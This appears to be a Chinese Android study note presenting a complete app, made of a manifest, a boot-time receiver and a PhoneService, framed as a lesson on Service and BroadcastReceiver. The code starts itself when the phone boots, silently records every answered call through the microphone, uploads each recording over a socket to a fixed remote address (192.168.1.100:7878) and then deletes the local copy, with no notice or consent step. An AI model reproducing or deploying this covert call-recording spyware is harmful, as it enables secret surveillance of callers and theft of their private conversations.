曾经的笔记——android的学习笔记（使用Service和BroadCastReceiver实现电话Listener）

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="cn.itcast.phonelistener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="8" />

    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
       
        <service android:name=".PhoneService"/>
       
        <receiver android:name=".BootBroadcastReceiver">
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <!-- 在SDCard中创建与删除文件权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<!-- 往SDCard写入数据权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 <!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>         
</manifest>

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public class BootBroadcastReceiver extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
  Intent service = new Intent(context, PhoneService.class);//显式/隐式
  context.startService(service);//Intent激活组件(Service)
 }

}

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import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;

import cn.itcast.utils.StreamTool;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneService extends Service {

 @Override
 public IBinder onBind(Intent intent) {
  // TODO Auto-generated method stub
  return null;
 }

 @Override
 public void onCreate() {
  super.onCreate();
  TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
  telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
 }
 
 private final class PhoneListener extends PhoneStateListener{
  private String incomingNumber;
  private File file;
  private MediaRecorder mediaRecorder;
  
  @Override
  public void onCallStateChanged(int state, String incomingNumber) {
   try {
    switch (state) {
    case TelephonyManager.CALL_STATE_RINGING://来电
     this.incomingNumber = incomingNumber;
     break;

    case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
     file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");
     mediaRecorder = new MediaRecorder();
     mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     mediaRecorder.setOutputFile(file.getAbsolutePath());
     mediaRecorder.prepare();
     mediaRecorder.start();//开始录音
     break;
     
    case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
     if(mediaRecorder != null){
      mediaRecorder.stop();
      mediaRecorder.release();
      mediaRecorder = null;
      uploadFile();
     }
     break;
    }
   } catch (Exception e) {
    e.printStackTrace();
   }
  }

  private void uploadFile() {
   new Thread(new Runnable() {    
    public void run() {
     try {
      if(file!=null && file.exists()){
       Socket socket = new Socket("192.168.1.100", 7878);
                OutputStream outStream = socket.getOutputStream();
                String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
                outStream.write(head.getBytes());
               
                PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); 
       String response = StreamTool.readLine(inStream);
                String[] items = response.split(";");
       String position = items[1].substring(items[1].indexOf("=")+1);
       
       RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
       fileOutStream.seek(Integer.valueOf(position));
       byte[] buffer = new byte[1024];
       int len = -1;
       while( (len = fileOutStream.read(buffer)) != -1){
        outStream.write(buffer, 0, len);
       }
       fileOutStream.close();
       outStream.close();
                inStream.close();
                socket.close();
                file.delete();
                file = null;
               }
           } catch (Exception e) {                   
               e.printStackTrace();
           }
    }
   }).start();
  }  
 }
}